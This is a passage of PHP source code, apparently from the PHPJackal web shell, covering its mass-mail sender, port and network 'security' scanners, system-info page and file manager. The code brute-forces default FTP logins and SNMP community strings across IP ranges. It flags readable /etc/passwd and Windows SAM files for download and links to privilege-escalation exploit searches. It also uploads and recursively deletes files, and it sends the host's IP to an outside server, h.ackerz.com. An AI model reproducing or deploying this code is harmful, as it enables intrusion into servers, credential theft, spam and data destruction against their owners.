667$rbody=str_replace('[USER]',$info[0],$rbody);
668$rbody=str_replace('[DOMAIN]',$info[1],$rbody);
669for($i=0;$i<(int)$_REQUEST['count'];$i++){
670$target=trim($target);
671if(mail($target,$rsubject,$rbody,$headers))echo "Email to ".htmlspecialchars($target). " sent!\r\n";else echo "Error: Can not send mail to ".htmlspecialchars($target)."!\r\n";
672}
673}
674echo "</pre><br />";
675}else{
676echo '<form name=client method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Mail sender</label></div><div class="fieldwrapper"><label class="styled">SMTP:</label><div class="thefield">'.ini_get('SMTP').':'.ini_get('smtp_port').'</div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="evil@hell.gov" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><textarea name="to">';if(!empty($_ENV['SERVER_ADMIN']))echo $_ENV['SERVER_ADMIN'];else echo 'admin@'.getenv('HTTP_HOST'); echo '</textarea></div></div><div class="fieldwrapper"><label class="styled">Subject:</label><div class="thefield"><input type="text" name="subject" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Body:</label><div class="thefield"><textarea name="body">
677For each address will be [USER], [DOMAIN] and [EMAIL] replaced in mail subject and body.
678
679Ex. john@example.net
680[USER] => john
681[DOMAIN] => example.net
682[EMAIL] => john@example.net
683
684</textarea></div></div>
685<div class="fieldwrapper"><label class="styled">Attachment:</label><div class="thefield"><input type="text" name="attach" value="';if(!empty($_REQUEST['attacH']))echo htmlspecialchars($cwd.DIRECTORY_SEPARATOR.$_REQUEST['attacH']);echo '" /></div></div>
686<div class="fieldwrapper"><label class="styled">Count:</label><div class="thefield"><input type="text" name="count" size="5" value="1" /></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Send" style="margin-left: 150px;" /></div></form>';
687}
688}
689function scanneR(){
690global $hcwd;
691echo '<img src="http://h.ackerz.com/PHPJackal/images/scanner.png" style="border: none; margin: 0;" /><br /><br />';
692if(!empty($_SERVER['SERVER_ADDR']))$host=$_SERVER['SERVER_ADDR'];else $host='127.0.0.1';
693$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1;
694if(($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
695$target=$_REQUEST['target'];$from=(int)$_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu=0;
696echo '<font color=blue>Port scanning started against '.htmlspecialchars($target).':<br />';
697$start=time();
698for($i=$from;$i<=$to;$i++){
699if($tcp){
700if(checkthisporT($target,$i,$timeout)){
701$nu++;
702$ser='';
703if(getservbyport($i,'tcp'))$ser='('.getservbyport($i,'tcp').')';
704echo "$nu) $i $ser (<a href='telnet://$target:$i'>Connect</a>) [TCP]<br>";
705}
706}
707if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser='';if(getservbyport($i,'udp'))$ser='('.getservbyport($i,'udp').')';echo "$nu) $i $ser [UDP]<br>";}
708}
709$time=time()-$start;
710echo "Done! ($time seconds)</font>";
711}
712elseif(!empty($_REQUEST['securityscanner'])){
713echo '<font color=blue>';
714$start=time();
715$from=$_REQUEST['from'];
716$to=$_REQUEST['to'];
717$fIP=ip2long($from);
718$tIP=ip2long($to);
719if($fIP>$tIP){
720echo 'Invalid range;</font>';
721return 0;
722}
723$timeout=(int)$_REQUEST['timeout'];
724if(!empty($_REQUEST['httpscanner'])){
725echo 'Loading webserver bug list...';
726$buglist=whereistmP().DIRECTORY_SEPARATOR.uniqid('BL');
727$dl=downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist);
728if($dl){$file=file($buglist);echo 'Done! scanning started.<br><br>';}else echo 'Failed!!! scanning started without webserver security testing...<br><br>';
729}else{$fr=htmlspecialchars($from);echo "Scanning $from-$to:<br><br>";}
730for($i=$fIP;$i<=$tIP;$i++){
731$output=0;
732$ip=long2ip($i);
733if(!empty($_REQUEST['nslookup'])){
734$hn=gethostbyaddr($ip);
735if($hn!=$ip)echo "$ip [$hn]<br>"; $output=1;}
736if(!empty($_REQUEST['ipscanner'])){
737$port=$_REQUEST['port'];
738if(strstr($port,','))$p=explode(',',$port);else $p[0]=$port;
739$open=$ser='';
740foreach($p as $po){
741$scan=checkthisporT($ip,$po,$timeout);
742if($scan){
743$ser='';
744if($ser=getservbyport($po,'tcp'))$ser="($ser)";
745$open.=" $po$ser ";
746}
747}
748if($open){echo "$ip) Open ports:$open<br>";$output=1;}
749}
750if(!empty($_REQUEST['httpbanner'])){
751$res=get_sw_namE($ip,$timeout);
752if($res){
753echo "$ip) Webserver software: ";
754if($res==-1)echo 'Unknow';
755else echo $res;
756echo '<br>';
757$output=1;
758}
759}
760if(!empty($_REQUEST['httpscanner'])){
761if(checkthisporT($ip,80,$timeout) && !empty($file)){
762$admin=array('/admin/','/adm/');
763$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www');
764$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/');
765$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/');
766foreach($file as $v){
767$vuln=array();
768$v=trim($v);
769if(!$v || $v{0}=='#')continue;
770$v=str_replace('","','^',$v);
771$v=str_replace('"','',$v);
772$vuln=explode('^',$v);
773$page=$cqich=$nukech=$adminch=$userch=$vuln[1];
774if(strstr($page,'@CGIDIRS'))
775foreach($cgi as $cg){
776$cqich=str_replace('@CGIDIRS',$cg,$page);
777$url="http://$ip$cqich";
778$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
779if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
780}
781elseif(strstr($page,'@ADMINDIRS'))
782foreach($admin as $cg){
783$adminch=str_replace('@ADMINDIRS',$cg,$page);
784$url="http://$ip$adminch";
785$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
786if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
787}
788elseif(strstr($page,'@USERS'))
789foreach($users as $cg){
790$userch=str_replace('@USERS',$cg,$page);
791$url="http://$ip$userch";
792$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
793if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
794}
795elseif(strstr($page,'@NUKE'))
796foreach($nuke as $cg){
797$nukech=str_replace('@NUKE',$cg,$page);
798$url="http://$ip$nukech";
799$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
800if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
801}
802else{
803$url="http://$ip$page";
804$res=check_urL($url,$vuln[3],$vuln[2],$timeout);
805if($res){$output=1;echo "$ip)".$vuln[4]." <a href='$url' target='_blank'>$url</a><br>";}
806}
807}
808}
809}
810if(!empty($_REQUEST['smtprelay'])){
811if(checkthisporT($ip,25,$timeout)){
812$res='';
813$res=checksmtP($ip,$timeout);
814if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}
815}
816}
817if(!empty($_REQUEST['snmpscanner'])){
818if(checkthisporT($ip,161,$timeout,1)){
819$com=$_REQUEST['com'];
820$coms=$res='';
821if(strstr($com,','))$c=explode(',',$com);else $c[0]=$com;
822foreach($c as $v){
823$ret=snmpchecK($ip,$v,$timeout);
824if($ret)$coms.=" $v ";
825}
826if($coms!=''){echo "$ip) SNMP FOUND: $coms<br>";$output=1;}
827}
828}
829if(!empty($_REQUEST['ftpscanner']) && function_exists('ftp_connect')){
830if(checkthisporT($ip,21,$timeout)){
831$usps=explode(',',$_REQUEST['userpass']);
832foreach($usps as $v){
833$user=substr($v,0,strpos($v,':'));
834$pass=substr($v,strpos($v,':')+1);
835if($pass=='[BLANK]')$pass='';
836if(ftpchecK($ip,$user,$pass,$timeout)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) System type: ".ftp_systype($ftp)." (<b><a href='";echo hlinK("seC=ftpc&workingdiR=".getcwd()."&hosT=$ip&useR=$user&pasS=$pass");echo "' target='_blank'>Connect</a></b>)<br>";}
837}
838}
839}
840}
841$time=time()-$start;
842echo "Done! ($time seconds)</font>";
843if(!empty($buglist))unlink($buglist);
844}
845elseif(!empty($_REQUEST['directoryscanner'])){
846$dir=file($_REQUEST['dic']);$host=$_REQUEST['host'];$r=$_REQUEST['r1'];
847echo "<font color=blue><pre>Scanning started...\n";
848for($i=0;$i<count($dir);$i++){
849$d=trim($dir[$i]);
850if($r){
851$adr="http://$host/$d/";
852if(check_urL($adr,'GET','200')){echo "Directory Found: <a href='$adr' target='_blank'>$adr</a>\n";}
853}else{
854$adr="$d.$host";
855$ip=gethostbyname($adr);
856if($ip!=$adr){echo "Subdomain Found: <a href='http://$adr' target='_blank'>$adr($ip)</a>\n";}
857}
858}
859echo 'Done!</pre></font>';
860}
861else{
862$chbox=(extension_loaded('sockets'))?"<ul><li><input type=checkbox name=tcp value=1 checked> <lable>TCP</lable></li><li><input type=checkbox name=udp value=1 checked> <lable>UDP</lable></li></ul>":'<input type="hidden" name="tcp" value="1">';
863echo '<form name=port method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Port scanner</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="target" value="'.$host.'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="fromport" value="1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="toport" value="1024" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li>'.$chbox.'</u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="portscanner" value="Scan" style="margin-left: 150px;" /></div></form><br /><form name=disc method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Discover</label></div><div class="fieldwrapper"><label class="styled">Target:</label><div class="thefield"><input type="text" name="host" value="'.$_SERVER["HTTP_HOST"].'" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Dictionary:</label><div class="thefield"><input type="text" name="dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Search for:</label><div class="thefield"><ul><li><input type=radio value=1 checked name=r1> <label>Directories</label></li><li><input type=radio name=r1 value=0> <label>Subdomains</label></li></ul></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="directoryscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
864$host=substr($host,0,strrpos($host,"."));
865echo '<form name=security method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Security scanner</label></div><div class="fieldwrapper"><label class="styled">From:</label><div class="thefield"><input type="text" name="from" value="'.$host.'.1" size="30" /></div></div><div class="fieldwrapper"><label class="styled">To:</label><div class="thefield"><input type="text" name="to" value="'.$host.'.255" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Options:</label><div class="thefield"><ul style="margin-top:0;"><li><input type="checkbox" value="1" name="nslookup" checked> <label>NS lookup</label></li><li><label>Timeout:</label> <input type="text" name="timeout" size="5" value="2"></li><li><input type=checkbox name=ipscanner value=1 checked onClick="document.security.port.disabled = !document.security.port.disabled;"> <label>Port scanner:</label> <input name=port type=text value="21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301" size="30"></li><li><input type=checkbox name=httpbanner value=1 checked> <label>Grab HTTP headers</label></li><li><input type=checkbox name=httpscanner value=1 checked> <label>Webserver security scanning</label></li><li><input type=checkbox name=smtprelay value=1 checked> <label>SMTP relay check</label></li><li><input type=checkbox name=ftpscanner value=1 checked onClick="document.security.userpass.disabled = !document.security.userpass.disabled;"> <label>FTP password:</label> <input name=userpass type=text value="anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]" size=30></li><li><input type=checkbox name=snmpscanner value=1 onClick="document.security.com.disabled = !document.security.com.disabled;" checked> <label>SNMP:</label> <input name=com type=text value="public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,sun,agent,manager,ibm,hello,switch,solaris,OrigEquipMfr,default,world,tech,mngt,tivoli,openview,community,snmp,SNMP,none,snmpd,Secret C0de,netman,security,pass,passwd,root,access,rmon,rmon_admin,hp_admin,NoGaH$@!,router,agent_steal,freekevin,read,read-only,read-write,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,IBM,apc,TENmanUFactOryPOWER,proxy,core,CISCO,regional,1234,2read,4changes" size=30></li><li></u></div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" name="securityscanner" value="Scan" style="margin-left: 150px;" /></div></form>';
866}
867}
868function sysinfO(){
869global $windows,$disablefunctions,$cwd,$safemode;
870$basedir=(ini_get('open_basedir') || strtoupper(ini_get('open_basedir'))=='ON')?'ON':'OFF';
871if(!empty($_SERVER['PROCESSOR_IDENTIFIER']))$CPU=$_SERVER['PROCESSOR_IDENTIFIER'];
872$osver=$tsize=$fsize='';
873$ds=implode(' ',$disablefunctions);
874$Clock='http://h.ackerz.com/PHPJackal/images/clock/';
875if($windows){
876$osver=shelL('ver');
877if(!empty($osver))$osver="($osver)";
878$sysroot=shelL("echo %systemroot%");
879if(empty($sysroot))$sysroot=$_SERVER['SystemRoot'];
880if(empty($sysroot))$sysroot = getenv('windir');
881if(empty($sysroot))$sysroot = 'Not Found';
882if(empty($CPU))$CPU=shelL('echo %PROCESSOR_IDENTIFIER%');
883for($i=66;$i<=90;$i++){
884$drive=chr($i).':\\';
885if(disk_total_space($drive)){
886$fsize+=disk_free_space($drive);
887$tsize+=disk_total_space($drive);
888}
889}
890}else{
891$ap=shelL('whereis apache');
892if(empty($CPU))$CPU=shelL('grep "model name" /proc/cpuinfo | cut -d ":" -f2');
893if($CPU)$CPU=nl2br($CPU);
894if(!$ap)$ap='Unknow';
895$fsize=disk_free_space('/');
896$tsize=disk_total_space('/');
897}
898$diskper=floor(($fsize/$tsize)*100);
899$diskcolor='; background: ';
900if($diskper<33)$diskcolor.='green';elseif($diskper<66 && $diskper>33)$diskcolor.='orange';else $diskcolor.='red';
901$disksize='Used spase: '.showsizE($tsize-$fsize).' Free space: '.showsizE($fsize).' Total space: '.showsizE($tsize);
902$diskspace=($tsize)?'<div class="progress-container" style="width: 100px" title="'.$disksize.'"><div style="width: '.$diskper.'%'.$diskcolor.'"></div></div>':'Unknown';
903if(empty($CPU))$CPU='Unknow';
904$os=php_uname();
905$osn=php_uname('s');
906if(!$windows){
907$ker=php_uname('r');
908$o=($osn=='Linux')?'Linux+Kernel':$osn;
909$os='http://www.exploit-db.com/search/?action=search&filter_platform=16" target="_blank">'.$osn.'</a>';
910$os='http://www.exploit-db.com/search/?action=search&filter_description=kernel&filter_platform=16" target="_blank">'.$ker.'</a>';
911$inpa=':';
912}else{
913$sam=$sysroot."\\system32\\config\\SAM";
914$inpa=';';
915$os='http://www.exploit-db.com/search/?action=search&filter_description=privilege+escalation&filter_platform=45" target="_blank">'.$osn.'</a>';
916}
917$cuser=get_current_user();
918if(!$cuser)$cuser='Unknow';
919echo '<img src="http://h.ackerz.com/PHPJackal/images/information.png" style="border: none; margin: 0;" /><br /><br /><div class="fieldwrapper"><label class="styled" style="width:320px">Server information</label></div><div class="fieldwrapper"><label class="styled">Server:</label><div class="thefield"><span>'; if(!empty($_SERVER['SERVER_ADDR']))echo '<img src="http://h.ackerz.com/info/?ip='.$_SERVER['SERVER_ADDR'].'"> ';echo '<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['HTTP_HOST']) .'">'.$_SERVER['HTTP_HOST'].'</a>';if(!empty($_SERVER['SERVER_ADDR'])){ echo '(<a href="'.hlinK("seC=tools&serveR=whois.geektools.com&domaiN=".$_SERVER['SERVER_ADDR']) .'">'.$_SERVER['SERVER_ADDR'].'</a>)';}echo '</span></div></div><div class="fieldwrapper"><label class="styled">Operation system:</label><div class="thefield"><span><a href="'.$os.$osver. '</span></div></div><div class="fieldwrapper"><label class="styled">Web server:</label><div class="thefield"><span>'.$_SERVER['SERVER_SOFTWARE']. '</span></div></div><div class="fieldwrapper"><label class="styled">CPU:</label><div class="thefield"><span>'.$CPU. '</span></div></div><div class="fieldwrapper"><label class="styled">Disk space:</label><span>
920'.$diskspace.'</span></div><div class="fieldwrapper"><label class="styled">User domain:</label><div class="thefield"><span>';if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo 'Unknow'; echo '</span></div></div><div class="fieldwrapper"><label class="styled">Username:</label><div class="thefield"><span>'.$cuser. '</span></div></div>';
921if($windows){echo '<div class="fieldwrapper"><label class="styled">Windows directory:</label><div class="thefield"><span><a href="'.hlinK("seC=fm&workingdiR=$sysroot").'">'.$sysroot.'</a></span></div></div><div class="fieldwrapper"><label class="styled">SAM file:</label><div class="thefield"><span>';if(is_readable(($sam)))echo '<a href="'.hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam").'">Readable</a>'; else echo 'Not readable';echo '</span></div></div>';}
922else
923{
924echo '
925<div class="fieldwrapper"><label class="styled">UID - GID:</label><div class="thefield"><span>'.getmyuid().' - '.getmygid().'</span></div></div><div class="fieldwrapper"><label class="styled">Passwd file:</label><div class="thefield"><span>';if(is_readable('/etc/passwd'))echo '<a href="'.hlinK("seC=openit&namE=/etc/passwd&workingdiR=$cwd").'">Readable</a>';else echo 'Not readable';echo '</span></div></div><div class="fieldwrapper"><label class="styled">cPanel:</label><div class="thefield"><span>';$cp='/usr/local/cpanel/version';$cv=(file_exists($cp) && is_writable($cp))?trim(file_get_contents($cp)):'Unknow';echo "$cv (Log file: ";if(file_exists('/var/cpanel/accounting.log')){if(is_readable('/var/cpanel/accounting.log'))echo "<a href='".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."'>Readable</a>";else echo 'Not readable';}else echo 'Not found';echo ')</span></div></div>';
926}
927echo '<div class="fieldwrapper"><label class="styled">PHP:</label><div class="thefield"><span><a href="javascript:void(0)" onclick=\'window.open("?='.php_logo_guid().'","","width=300,height=200,scrollbars=no")\'>'.PHP_VERSION.'</a>(<a href="'.hlinK("seC=phpinfo&workingdiR=$cwd").'">more...</a>).</span>
928</div></div><div class="fieldwrapper"><label class="styled">Zend version:</label><div class="thefield">
929<span>';if (function_exists('zend_version')) echo "<a href='javascript:void(0)' onclick=\"window.open('?=".zend_logo_guid()."','','width=300,height=200,scrollbars=no')\">".zend_version().'</a>';else echo 'Not Found';echo '</span>
930</div></div><div class="fieldwrapper">
931<label class="styled">Include path:</label>
932<div class="thefield">
933<span>'.str_replace($inpa,' ',DEFAULT_INCLUDE_PATH).'</span>
934</div>
935</div>
936<div class="fieldwrapper">
937<label class="styled">PHP Modules:</label>
938<div class="thefield">
939<span>';$ext=get_loaded_extensions();foreach($ext as $v){$i=phpversion($v);if(!empty($i))$i="($i)";$l=hlinK("exT=$v");echo "[<a href='javascript:void(0)' onclick=\"window.open('$l','','width=300,height=200,scrollbars=yes')\">$v $i</a>] ";}echo '</span>
940</div>
941</div>
942<div class="fieldwrapper">
943<label class="styled">Disabled functions:</label>
944<div class="thefield">
945<span>';if(!empty($ds))echo "$ds ";else echo 'Nothing'; echo '</span>
946</div>
947</div>
948<div class="fieldwrapper">
949<label class="styled">Safe-mode:</label>
950<div class="thefield">
951<span>'.$safemode.'</span>
952</div>
953</div>
954<div class="fieldwrapper">
955<label class="styled">Open base dir:</label>
956<div class="thefield">
957<span>'.$basedir.'</span>
958</div>
959</div>
960<div class="fieldwrapper">
961<label class="styled">DBMS:</label>
962<div class="thefield">
963<span>';$sq='';
964if(function_exists('mysql_connect'))$sq= 'MySQL ';
965if(function_exists('mssql_connect'))$sq.= 'MSSQL ';
966if(function_exists('ora_logon'))$sq.= 'Oracle ';
967if(function_exists('sqlite_open'))$sq.= 'SQLite ';
968if(function_exists('pg_connect')) $sq.= 'PostgreSQL ';
969if(function_exists('msql_connect')) $sq.= 'mSQL ';
970if(function_exists('mysqli_connect'))$sq.= 'MySQLi ';
971if(function_exists('ovrimos_connect')) $sq.= 'Ovrimos SQL ';
972if ($sq=='') $sq= 'Nothing';
973echo $sq.'</span>
974</div>
975</div>
976<div class="fieldwrapper">
977<label class="styled">Time:</label>
978<div class="thefield">
979<span><div title="Local">
980<img src="'.$Clock.'8.png" name="hr1"><img
981src="'.$Clock.'8.png" name="hr2"><img
982src="'.$Clock.'c.png"><img
983src="'.$Clock.'8.png" name="mn1"><img
984src="'.$Clock.'8.png" name="mn2"><img
985src="'.$Clock.'c.png"><img
986src="'.$Clock.'8.png" name="se1"><img
987src="'.$Clock.'8.png" name="se2"><img
988src="'.$Clock.'pm.png" name="ampm">
989</div>
990<div title="Server">
991<img src="'.$Clock.'8.png" name="shr1"><img
992src="'.$Clock.'8.png" name="shr2"><img
993src="'.$Clock.'c.png"><img
994src="'.$Clock.'8.png" name="smn1"><img
995src="'.$Clock.'8.png" name="smn2"><img
996src="'.$Clock.'c.png"><img
997src="'.$Clock.'8.png" name="sse1"><img
998src="'.$Clock.'8.png" name="sse2"><img
999src="'.$Clock.'pm.png" name="sampm"></span>
1000</div>
1001</div>
1002</div>
1003<script type="text/javascript">
1004dg0=new Image();dg0.src="'.$Clock.'0.png";
1005dg1=new Image();dg1.src="'.$Clock.'1.png";
1006dg2=new Image();dg2.src="'.$Clock.'2.png";
1007dg3=new Image();dg3.src="'.$Clock.'3.png";
1008dg4=new Image();dg4.src="'.$Clock.'4.png";
1009dg5=new Image();dg5.src="'.$Clock.'5.png";
1010dg6=new Image();dg6.src="'.$Clock.'6.png";
1011dg7=new Image();dg7.src="'.$Clock.'7.png";
1012dg8=new Image();dg8.src="'.$Clock.'8.png";
1013dg9=new Image();dg9.src="'.$Clock.'9.png";
1014dgam=new Image();dgam.src="'.$Clock.'am.png";
1015dgpm=new Image();dgpm.src="'.$Clock.'pm.png";
1016sh=';echo date('G');echo '+100;
1017sm=';echo date('i');echo '+100;
1018ss=';echo date('s');echo '+100;
1019function ltime(){
1020theTime=setTimeout("ltime()",1000);
1021d = new Date();
1022hr= d.getHours()+100;
1023mn= d.getMinutes()+100;
1024se= d.getSeconds()+100;
1025if(hr==100){hr=112;am_pm="am";}
1026else if(hr<112){am_pm="am";}
1027else if(hr==112){am_pm="pm";}
1028else if(hr>112){am_pm="pm";hr=(hr-12);}
1029tot=""+hr+mn+se;
1030document.hr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
1031document.hr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
1032document.mn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
1033document.mn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
1034document.se1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
1035document.se2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
1036document.ampm.src= "'.$Clock.'"+am_pm+".png";
1037}
1038function stime(){
1039theTime=setTimeout("stime()",1000);
1040ss++;
1041if(sh==100){sh=112;am_pm="am";}
1042else if(sh<112){am_pm="am";}
1043else if(sh==112){am_pm="pm";}
1044else if(sh>112){am_pm="pm";sh=(sh-12);}
1045if(ss==160){ss=100; sm++;}if(sm==160){sm=100; sh++;}
1046tot=""+sh+sm+ss;
1047document.shr1.src = "'.$Clock.'"+tot.substring(1,2)+".png";
1048document.shr2.src = "'.$Clock.'"+tot.substring(2,3)+".png";
1049document.smn1.src = "'.$Clock.'"+tot.substring(4,5)+".png";
1050document.smn2.src = "'.$Clock.'"+tot.substring(5,6)+".png";
1051document.sse1.src = "'.$Clock.'"+tot.substring(7,8)+".png";
1052document.sse2.src = "'.$Clock.'"+tot.substring(8,9)+".png";
1053document.sampm.src= "'.$Clock.'"+am_pm+".png";
1054}
1055ltime();
1056stime();
1057</script>
1058';}
1059function checksuM($file){
1060echo "<pre>MD5: ".md5_file($file)."\r\nSHA1: ".sha1_file($file)."</pre>";
1061}
1062function listdiR($cwd,$task){
1063$c=getcwd();
1064$dh=opendir($cwd);
1065while($cont=readdir($dh)){
1066if($cont=='.' || $cont=='..')continue;
1067$adr=$cwd.DIRECTORY_SEPARATOR.$cont;
1068switch($task){
1069case '0':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
1070case '1':if(is_writeable($adr)){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
1071case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
1072case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
1073case '4':if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";break;
1074case '5':if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";break;
1075case '6':if(preg_match('@'.$_REQUEST['search'].'@',$cont) || (is_file($adr) && preg_match('@'.$_REQUEST['search'].'@',file_get_contents($adr)))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
1076case '7':if(strstr($cont,$_REQUEST['search']) || (is_file($adr) && strstr(file_get_contents($adr),$_REQUEST['search']))){if(is_file($adr))echo "[<a href='".hlinK("seC=edit&filE=$adr&workingdiR=$c")."'>$adr</a>]\n";if(is_dir($adr))echo "[<a href='".hlinK("seC=fm&workingdiR=$adr")."'>$adr</a>]\n";}break;
1077case '8':{if(is_dir($adr))rmdir($adr);else unlink($adr);rmdir($cwd);break;}
1078}
1079if(is_dir($adr))listdiR($adr,$task);
1080}
1081}
1082if(!checkfunctioN('posix_getpwuid')){function posix_getpwuid($u){return 0;}}
1083if(!checkfunctioN('posix_getgrgid')){function posix_getgrgid($g){return 0;}}
1084function filemanageR(){
1085global $windows,$cwd,$hcwd;
1086echo '<img src="http://h.ackerz.com/PHPJackal/images/filemanager.png" style="border: none; margin: 0;" /><br /><br />';
1087if(!empty($_REQUEST['task'])){
1088if(!empty($_REQUEST['search']))$_REQUEST['task']=7;
1089if(!empty($_REQUEST['re']))$_REQUEST['task']=6;
1090echo '<font color=blue><pre>';
1091listdiR($cwd,$_REQUEST['task']);
1092echo '</pre></font>';
1093}else{
1094if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV']) || !empty($_REQUEST['rN'])){
1095if(!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){
1096$title='Destination';
1097$ad=(!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV'];
1098$dis=(!empty($_REQUEST['cP']))?'Copy':'Move';
1099}else{
1100$ad=$_REQUEST['rN'];
1101$title='New name';
1102$dis='Rename';
1103}
1104if(empty($_REQUEST['deS'])){
1105echo '<table border="0" cellspacing="0" cellpadding="0"><tr><th>'.$title.':</th></tr><tr><td><form method="POST"><input type=text value="';if(empty($_REQUEST['rN']))echo $cwd;echo '" size="60" name="deS"></td></tr><tr><td>'.$hcwd.'<input type="hidden" value="'.htmlspecialchars($ad).'" name="cp"><input type="submit" value="'.$dis.'"></form></table>';
1106}else{
1107if(!empty($_REQUEST['rN']))rename($ad,$_REQUEST['deS']);
1108else{
1109copy($ad,$_REQUEST['deS']);
1110if(!empty($_REQUEST['mV']))unlink($ad);
1111}
1112}
1113}
1114if(!empty($_REQUEST['deL'])){if(is_dir($_REQUEST['deL']))listdiR($_REQUEST['deL'],8);else unlink($_REQUEST['deL']);}
1115if(!empty($_FILES['uploadfile'])){
1116move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']);
1117echo "<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "<br />";
1118}
1119$select="<select onChange='document.location=this.options[this.selectedIndex].value;'><option value='".hlinK("seC=fm&workingdiR=$cwd")."'>--------</option><option value='";
1120if(!empty($_REQUEST['newf'])){
1121if(!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],'');}
1122if(!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);}
1123}
1124if($windows){
1125echo '<table border="0" cellspacing="0" cellpadding="0"><tr><td><b>Drives:</b>';
1126for($i=66;$i<=90;$i++){$drive=chr($i).':';
1127if(disk_total_space($drive)){echo " <a title='$drive' href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";}}
1128echo "</td><tr></table>";
1129}
1130}
